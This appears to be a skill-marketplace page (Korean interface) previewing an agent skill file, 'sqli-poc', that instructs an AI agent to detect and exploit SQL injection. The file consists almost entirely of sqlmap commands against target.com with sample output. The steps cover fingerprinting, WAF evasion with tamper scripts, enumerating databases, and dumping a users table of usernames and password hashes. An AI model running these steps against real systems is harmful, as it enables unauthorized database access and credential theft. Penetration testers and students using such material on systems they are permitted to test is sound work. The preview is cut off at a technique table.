sqli-poc
Detect and exploit SQL injection vulnerabilities using automated and manual techniques. Use when testing for SQL injection, when parameters appear injectable, when database enumeration is needed, or when proving SQL injection impact.
소스 정보
- 저장소
- zebbern/termstack
- 최근 소스 활동
- 2026년 4월 10일 22:53
- 감지된 SKILL.md 언어
- 영어
- 스타
- 4
- 포크
- 3
설치 방법
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
파일 탐색기
2 개 파일SKILL.md 표시 중
SKILL.md
소스 지침 · 읽기 전용 미리보기- name
- sqli-poc
- description
- Detect and exploit SQL injection vulnerabilities using automated and manual techniques. Use when testing for SQL injection, when parameters appear injectable, when database enumeration is needed, or when proving SQL injection impact.
- tags
- ["security","sql-injection","sqli","database","exploit"]
- triggers
- ["sql injection","sqli","database injection","blind sqli","sqlmap"]
# sqli-poc
## When to Use
- Parameter appears to manipulate database queries
- Application displays database errors in responses
- Need to prove SQL injection vulnerability exists
- Extracting data from backend database
- Testing authentication bypass via SQL injection
- WAF bypass techniques required for exploitation
- Second-order SQL injection scenarios detected
## Quick Start
Basic SQL injection scan with sqlmap:
```bash
sqlmap -u "http://target.com/page.php?id=1" --batch
```
## Tools Overview
| Tool | Type | Best For |
| ------ | --------- | ----------------------------------------------------- |
| sqlmap | Automated | Detection, enumeration, exploitation, WAF bypass |
| Manual | Payloads | Initial confirmation, edge cases, custom exploitation |
## Step-by-Step Process
### Phase 1: Detection
1. **Identify potential injection points**
```bash
sqlmap -u "http://target.com/page.php?id=1" --batch --level=1
```
2. **Test with higher sensitivity**
```bash
sqlmap -u "http://target.com/page.php?id=1" --level=3 --risk=2
```
3. **Confirm vulnerability type**
```bash
sqlmap -u "http://target.com/page.php?id=1" -v 3
```
### Phase 2: Enumeration
1. **Identify DBMS and version**
```bash
sqlmap -u "http://target.com/page.php?id=1" --fingerprint --banner
```
2. **List databases**
```bash
sqlmap -u "http://target.com/page.php?id=1" --dbs
```
3. **List tables and columns**
```bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns
```
### Phase 3: Data Extraction
1. **Dump specific table**
```bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --dump
```
2. **Dump limited rows**
```bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --dump --start=1 --stop=10
```
## Examples
### Example 1: Basic GET Parameter Injection
**Scenario:** Test GET parameter for SQL injection
**Command:**
```bash
sqlmap -u "http://target.com/products.php?id=1" --batch --banner
```
**Output:**
```
[INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based' injectable
back-end DBMS: MySQL >= 5.0
banner: '5.7.33-0ubuntu0.18.04.1'
```
### Example 2: POST Data Injection
**Scenario:** Test login form for SQL injection
**Command:**
```bash
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --batch
```
**Output:**
```
[INFO] POST parameter 'username' is vulnerable
```
### Example 3: Cookie-Based Injection
**Scenario:** Test session cookie for injection
**Command:**
```bash
sqlmap -u "http://target.com/dashboard.php" --cookie="session=abc123" --level=2 --batch
```
**Output:**
```
[INFO] Cookie parameter 'session' is injectable
```
### Example 4: Header Injection
**Scenario:** Test HTTP headers for injection
**Command:**
```bash
sqlmap -u "http://target.com/api.php" --headers="X-Forwarded-For: 1*" --level=3 --batch
```
**Output:**
```
[INFO] header 'X-Forwarded-For' is injectable
```
### Example 5: Time-Based Blind Injection
**Scenario:** No visible error output, test time-based
**Command:**
```bash
sqlmap -u "http://target.com/search.php?q=test" --technique=T --time-sec=5 --batch
```
**Output:**
```
[INFO] GET parameter 'q' is 'MySQL >= 5.0.12 AND time-based blind' injectable
```
### Example 6: UNION-Based Injection
**Scenario:** Force UNION query technique
**Command:**
```bash
sqlmap -u "http://target.com/view.php?id=1" --technique=U --union-cols=5 --batch
```
**Output:**
```
[INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 5 columns' injectable
```
### Example 7: WAF Bypass with Tamper Scripts
**Scenario:** Target behind WAF blocking requests
**Command:**
```bash
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,between,randomcase --batch
```
**Output:**
```
[INFO] loading tamper script 'space2comment'
[INFO] loading tamper script 'between'
[INFO] loading tamper script 'randomcase'
[INFO] GET parameter 'id' is injectable
```
### Example 8: Database Enumeration
**Scenario:** List all databases on server
**Command:**
```bash
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
```
**Output:**
```
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] webapp_db
```
### Example 9: Table Enumeration
**Scenario:** List tables in specific database
**Command:**
```bash
sqlmap -u "http://target.com/page.php?id=1" -D webapp_db --tables --batch
```
**Output:**
```
Database: webapp_db
[5 tables]
+---------------+
| users |
| orders |
| products |
| sessions |
| logs |
+---------------+
```
### Example 10: Column Enumeration
**Scenario:** List columns in users table
**Command:**
```bash
sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users --columns --batch
```
**Output:**
```
Database: webapp_db
Table: users
[5 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(11) |
| username | varchar(50) |
| password | varchar(64) |
| email | varchar(100)|
| role | varchar(20) |
+----------+-------------+
```
### Example 11: Data Extraction
**Scenario:** Dump user credentials (for authorized testing)
**Command:**
```bash
sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users -C username,password --dump --batch
```
**Output:**
```
Database: webapp_db
Table: users
[3 entries]
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| user1 | e99a18c428cb38d5f260853678922e03 |
| user2 | d8578edf8458ce06fbc5bb76a58c5ca4 |
+----------+----------------------------------+
```
### Example 12: Request File Injection
**Scenario:** Test request captured from Burp Suite
**Command:**
```bash
sqlmap -r request.txt --batch --dbs
```
**request.txt:**
```
POST /api/search HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123
{"query":"test","limit":10}
```
### Example 13: Second-Order SQL Injection
**Scenario:** Injection stored and triggered elsewhere
**Command:**
```bash
sqlmap -u "http://target.com/register.php" --data="username=test&email=a@b.com" --second-url="http://target.com/profile.php" --batch
```
**Output:**
```
[INFO] testing for second-order SQL injection
[INFO] second-order SQL injection found
```
### Example 14: Smart Scan with Multiple Parameters
**Scenario:** Efficiently test page with many parameters
**Command:**
```bash
sqlmap -u "http://target.com/search.php?cat=1&sort=name&page=1&limit=10" --smart --batch
```
**Output:**
```
[INFO] skipping GET parameter 'sort' (appears non-dynamic)
[INFO] skipping GET parameter 'page' (appears non-dynamic)
[INFO] GET parameter 'cat' is injectable
```
## Injection Techniques Reference
| Technique | Code | Description | Detection Method |
GitHub에서 보기이 SKILL.md는 매우 커서 SkillsMP가 여기에는 첫 섹션만 미리 보여줍니다. GitHub에서 보기
